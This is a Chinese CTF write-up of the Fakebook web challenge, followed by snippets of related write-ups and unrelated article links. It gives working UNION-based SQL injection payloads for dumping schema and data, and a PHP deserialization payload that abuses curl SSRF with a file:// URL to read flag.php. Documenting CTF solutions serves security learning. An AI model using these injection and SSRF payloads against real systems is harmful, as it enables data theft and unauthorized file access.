[网鼎杯 2018]Fakebook
1.解题过程
1.sql注入
访问web页面有一个login和join

点击join页面随便注册个账号
)
注册完后自动登录了(是不是登录状态无所谓),点击链接发现有get传值,直接sql注入


使用order by判断字段数,一共有4个字段
1 order by 4--+


既然知道了字段数就可以联合注入获取数据了
-1 union all select 1,2,3,4--+
- union 自动压缩多个结果集合中的重复结果
- union all 将所有的结果全部显示出来,不管是不是重复

发现unserialize()函数,同时发现输出的字段数是第二个
-1 union all select 1,database(),3,4--+ 获取数据库名--fakebook
-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"--+ 获取表名--users
-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook" and table_name="users"--+ 获取字段名

-1 union all select 1,group_concat(data),3,4 from users--+ 获取data字段的数据
一共4个字段,no没有什么意义、username也只有刚注册的用户、passwd是加密过后的,data字段是序列化后的数据,再联想到左上角的unserialize()函数所以这题应该要一手源代码弄一下反序列化

2.php反序列化+ssrf
爆破目录,发现有robots.txt同时发现了flag.php文件(这个后面会用到)

获得user.php.bak源代码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
?>
curl_init 初始化一个cRUL会话,供
curl_setopt()、curl_exec()、curl_close()函数使用curl_setopt 请求一个url
- CURLOPT_URL表示需要获得的url地址,后面就是ta的值
- CURLOPT_RETURNTRANSFER将
curl_exec()获取的信息以文件流的形式返回,而不是直接输出
curl_exec 成功时返回true,或者在失败时返回false。如果CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时还是返回false
CURLINFO_HTTP_CODE 最后一个收到http代码
curl_getinfo 以字符串形式返回ta的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码,如果状态码不是404,就返回exec的结果
代码一开始先对几个参数进行了初始化,后面get函数传的参数是blog
捋一下思路,第4字段输出时会通过serialize()函数,所以注册的时候会序列化信息输出的时候还原,这样就出现了漏洞
从报错中获得路径

同时回想其爆破目录时爆出来过一个flag.php
构造payload
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$x = new UserInfo();
echo serialize($x);
?>
//O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+


直接点是不行的需要在新标签页中打开链接,查看源代码

获得flag
2.总结
这题没有什么难度,写的原因是ta同时涉及了php反序列化和ssrf
以后比赛会出有关php反序列化的题目
所以多做一些开拓思路
[网鼎杯 2018]Fakebook的更多相关文章
- 刷题 [网鼎杯 2018]Fakebook
解题思路 首先登陆页面发现是这样的: 查看源码 源码很正常,也没有什么特别的 web目录扫描 我用的是dirmap工具扫描,扫描结果保存在一个txt文件中,结果可知没什么后台. robots.txt ...
- [网鼎杯 2018]Comment
[网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...
- 【网鼎杯2018】fakebook
解题过程: 首先进行目录扫描,发现以下目录: user.php.bak login.php flag.php user.php robots.txt user.php.bak猜测存在源码泄露. 查看源 ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- buuctf-[网鼎杯 2018]Fakebook 1
这道题,也是费了很大的劲,慢慢理解慢慢消化,今天,才开始把wp写出来 首先我们先扫描一波目录,用dirsearch扫一手,发现有robots.txt文件 dirseach自带的字典在db目录下,使用格 ...
- BUUCTF-[网鼎杯 2018]Fakebook(SSRF+联合注入绕Waf)
记一道SSRF配合SQL注入的题. 喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码.同时还有flag.php. <?php class ...
- [网鼎杯2018]Unfinish-1|SQL注入|二次注入
1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...
- [网鼎杯 2018]Comment-1|SQL注入|二次注入
1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
随机推荐
- python3+selenium+BeautifulReport生成自动化测试报告
https://www.jianshu.com/p/3d2c0e092ffb 自动化测试,最重要的还是测试报告,下面就教大家使用BeautifulReport生成自动化测试报告GitHub:https ...
- flutter json_serializable数据模型的建立和封装
为了方便数据使用,我们将服务器拿到的数据转换为map类型,但是在使用是大量的数据会让使用map时头大,比如每个map都key都需要手动输入,很是麻烦. 本文使用了json_serializable将m ...
- 【LeetCode】——分割回文串II
继续与动态规划斗智斗勇... 132. 分割回文串 II - 力扣(LeetCode) (leetcode-cn.com) 分析:记f[i]表示将字符串s[0:i]分割的最小次数.我们需要将列举出在[ ...
- #硬件 #资讯 #科普 #短报 SSD价格跳水根本停不下来!不断刷出新低
一份来自日本的统计显示,10~12月的初步统计显示,PC市场的指标产品中,256GB TLC颗粒SSD价格再次下跌2美元,现在只有29.5美元.这已经是该指标产品连续5个季度下跌,创下史上心底记录,同 ...
- guava缓存
Guava Cache有一些优点如下 :1. 线程安全的缓存, 与ConcurrentMap相似(前者更"好"), 在高并发情况下.能够正常缓存更新以及返回.2. 提供了三种基本的 ...
- PDF转置
import pdfplumber #全是None with pdfplumber.open(r"C:\Users\yjiang3\Desktop\Inv.pdf") as pdf ...
- 第9章 使用MVC为移动和客户端应用程序创建Web API(ASP.NET Core in Action, 2nd Edition)
本章包括 创建Web API控制器以向客户端返回JSON 使用属性路由自定义URL 使用内容协商生成响应 使用[ApiController]属性应用通用约定 在前五章中,您已经完成了服务器端渲染ASP ...
- Java开发的事务
代码来自https://blog.csdn.net/weixin_42950079/article/details/99674292 可以看出jdbc的一个事务有这么几个步骤:1.关闭sql自动提交: ...
- 针对“RuntimeError: each element in list of batch should be of equal size” 问题解决
第一次运行代码出现了这个问题: 这个问题的出现主要来源于DataLoader类中的collate.py文件造成的问题,由于每个batch里的长度不一致,因此导致出现了该问题. 通过百度方法和查看源码去 ...
- springboot jodconverter openoffice 实现 office 文件 在线预览
这个已是好几个月前做的,好多细节已记得不那边清楚了.今天部署到环境还遇到不少问题.总结下. 1.office 文件实现在线预览的一般思路就是,将文件转pdf,在通过pdf.js 实现在线浏览.这其中转 ...